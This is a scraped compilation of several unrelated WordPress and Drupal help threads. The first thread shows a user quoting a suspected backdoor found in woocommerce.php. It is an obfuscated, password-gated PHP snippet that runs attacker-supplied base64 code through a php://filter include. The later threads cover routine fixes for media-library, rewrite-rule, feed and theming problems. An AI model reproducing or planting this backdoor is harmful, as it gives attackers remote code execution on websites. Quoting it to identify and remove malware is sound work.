I have found this strange code within the core woocommerce.php file.
Does anyone understand what this code is trying to do? I suspect it is malware as it is not part of the core WooCommerce code.
I am trying to understand if it is being added by a plugin and is legitimate or if it is some form of virus/malware etc.
if (isset($_POST["_aey8iousjrkdf"],$_POST['WP_6cdd22']) && sha1($_POST['WP_6cdd22']) == "6cdd22ad6267ba73cd92bf8abd7ec2058740fa80") { $_oxyu = tempnam(sys_get_temp_dir(),"rlgalfarg"); file_put_contents($_oxyu,$_POST["_aey8iousjrkdf"]); require_once "php".":"."//filt"."e"."r/c"."onvert."."ba"."s"."e"."64-"."d"."e"."code/co"."n"."v"."er"."t.b"."a"."s"."e64-de"."co"."de/"."resou"."rce"."=".$_oxyu; unlink($_oxyu); die(); }
Had same problemm with this woocommerce.php. After removing code it just returning straight back. After researching and playing around I think I've found the way.
I have added /* just before "if" and all code turned into just a comment. Now second day and nothing new returning to the place.
Of course this is not the best way to do it and I'm not sure if it will stay as a comment but so far seems to be ok.
If somebody can find full removal way please share with us here.
Related
So this problem is very strange because for me doesn't work Wordpress media library in Wordpress admin menu only grid mode, its very strange problem because this problem occurs ONLY on 1 account/ That would be same account that yesterday i was trying upload bunch of pictures to media library and it gave error:
Try again later...
Since that i have tried many things but besides logging with other account nothing helped.
Tried reninstall wordpress via wordpress admin panel
Tried disabling all plugins, changed theme to default wordpress
Tried inspect elemet for JS errors nothing there except
upload.php?mode=grid:46 Consider using 'dppx' units, as in CSS 'dpi'
means dots-per-CSS-inch, not dots-per-physical-inch, so does not
correspond to the actual 'dpi' of a screen. In media query expression:
print, not all, (-webkit-min-device-pixel-ratio: 1.25),
(min-resolution: 120dpi)
Tried include in theme functions bunch of codes that i found on internet didn't helped.(i don't have them now since nothing helped and i didn't saved them sorry...)
Tried flushing cache, proxy, different computers, different operating systems(max,windows), tablet nothing still on that particular account media grid view doesn't work
View that 'm seeing is this:
I don't understand whats wrong, why on 1 particular account it doesn't work i even tried flushing Wordpress cache but it doesn't work after i received that error which i showed above. Did somebody know how can i solve this? Thanks in advance!
Got exactly the same problem and some ajax error on revolution slider too, and after searching for long time i resolved my problem.
It was just an HTML comment in functions.php on child theme, after remove it, everything work perfectly for me.
Same problem with space in function.php don't cut your code with space between php tag
this type problem is create by functions.php file , remove the code of you added in functions.php and than see it work proper.
standerd code write in functions.php file
In my case, there was an error in the backend. You should check your network tab in developer tools and find admin-ajax.php. Even if it returns HTTP 200, it shows an error in the response body.
From the information provided, you can work on which plugin, theme, or whatever file causes the error.
If the problem is with the user and seeing that you have tried almost all, you can try deleting the user and creating it again.
I had exactly the same error. I could not search for plugins, get the list of my uploads, everywhere where an ajax function was triggered, I needed to reload the page to see the results.
clean your functions.php and see if it works now. if yes, clean up your functions.php search for spaces or not set closing tags.
Solution was simple – I just had accidentally added a closing php tag in my functions.php (?>).
After I removed it the problem was solved.
I'm new to Wordpress and I can't figure this out.
I have a page in my website that has just a call to a PHP function like so:
[php]getdetails();[/php]
This function is in another file placed in a subfolder in the plugins folder. I'm not sure how that file is included, as someone else did that part, but the call to the function works. So for example if I visit the link below, everything works fine and the details from the database are shown.
mysite.com/page/?alias=aliashere
What I want to do is that the link below should work just the same:
mysite.com/page/aliashere
I've tried searching alot and read up on wp_rewrite and permalink and what not, but nothing seems to make sense or work when I blindly put samples of code in my functions folder. I have not tried modifying the .htaccess file because that just seem too wrong to even try, irrespective of whether it works or not.
Can someone please help me with this or point me in the right direction? I apologize if such a post already exists here. I tried searching but I couldn't find what I needed. Maybe I don't know what exactly to search for.
Any help will be appreciated!
Thank you
UPDATE:
I was able to make it work like below. Can someone please check and tell me how I can make this better? It's done the trick, but I have a feeling that it has some unnecessary details to it.
function add_rewrite_rules($wp_rewrite) {
add_rewrite_rule('page/([^/]*)/?', 'index.php/page/?alias=$1', 'top');
}
add_action('generate_rewrite_rules', 'add_rewrite_rules');
function query_vars($public_query_vars) {
$public_query_vars[] = "alias";
return $public_query_vars;
}
add_filter('query_vars', 'query_vars');
SOURCE of help: Adding custom rewrite rules to WordPress
SOLVED!
function add_rewrite_rules($wp_rewrite) {
add_rewrite_rule('page/([^/]*)/?', 'index.php/page/?alias=$1', 'top');
}
add_action('generate_rewrite_rules', 'add_rewrite_rules');
i've tried this solution but to no avail, even on the function.php file:
http://www.paulund.co.uk/override-wordpress-site-url-with-wp-config-php
need to get rid of the #all tag on the home/site url on this site:
http://www.anthony-johnson.co.uk
I tried switching out your Javascript, and it looks like the problem could be somewhere in the file /wp-content/themes/juiced/js/acad.min.js. Unfortunately for you this is a massive gob of minimized Javascript and it's not easy to figure out what's going on in there.
You should really try contacting the author of this theme to find out what the problem is. All I can suggest is that you try changing the value of includeAll to false in this bit near the top of the file.
...{categories:true,categoryOptions:{includeAll:true,defaultCategory:false,...
(Or perhaps change categories to false?)
I recently installed WordPress and have been slowly learning how to use it. I've tried to solve this one problem for about an hour now, and I can't seem to find the problem.
No matter what feed I add to FeedWordPress, it just doesn't parse the images correctly. (But it does, see here): http://ttgdark.com/
It's like it's completely remove the path to the image in the src tag.
Does anyone know what's going on?
go to you source code find this:
<img src="http://ttgdark.com/wp-content/themes/Webly/timthumb.php?
http://feeds.feedburner.com/~r/ThatVideogameBlog/~4/PkjR8RbxWzQ
&h=200&w=200&zc=1&q=90" class="post-thumb">
and remove this line of code
http://ttgdark.com/wp-content/themes/Webly/timthumb.php?src=
it should help.
We've created a custom module for organizing and publishing our newsletter content.
The issue I'm running into now -- and I'm new to theming and Drupal module development, so it could just be a knowledge issue as opposed to a Drupal issue -- is how to get each newsletter themed.
At this point the URL structure of our newsletter will be:
/newsletters/{newsletter-name}/{edition-name}/{issue-date} which means that we can create template files in our theme using filenames like page-newsletters-{newsletter-name}-{edition-name}.tpl.php, which is great. The one issue I'm running into is that all of the content comes through in the $content variable of the theme. I'd like to have it come through as different variables (so that I can, inside the theme, place certain content in certain areas.)
Is there a proper way for doing this?
Edit: To answer some questions: The issue is a node (there are issue, edition and newsletter nodes) and the path is being set using hook_menu with wildcards and a router.
The best answer I could find was to add a check inside of phptemplate_preprocess_page to send the vars back to the module and have them be updated.
Like so:
function phptemplate_preprocess_page(&$vars) {
if (module_exists('test_module')) {
_test_module_injector($vars);
}
}
then in my test_module.module file I created this function:
function _test_module_injector(&$vars) {
$vars[] = call_to_other_functions_to_load_vars();
}
It seemed to work. I wish there was a way to do this without having to touch the theme's template.php file, but otherwise this works well.
If there were better documentation for template preprocess functions, Drupal would be a lot more accessible - as it is, you need to piece together the information from a lot of different explanations. One place to start is here:
http://drupal.org/node/223430
but if you take the time to work through the tutorial below, you'll find you can do most things:
http://11heavens.com/theming-the-contact-form-in-Drupal-6
This is an old post, and the OP's issues seems to have been solved.
However, just for others finding this through Google (or otherwise):
Install the 'Devel' module: http://drupal.org/project/devel
Also the 'Devel Themer' module: http://drupal.org/project/devel_themer
Use Devel Themer to go through the $content variable and find what you need to pull out.
There are a bunch of Devel/Themer docs/tuts out there, but its usage is pretty straightforward. Note, though, that some stuff in there will need to be sanitized before printing in the theme.
The suggestion to show the node as a View and then modifying the view templates sounds pretty crazy, though it'll work.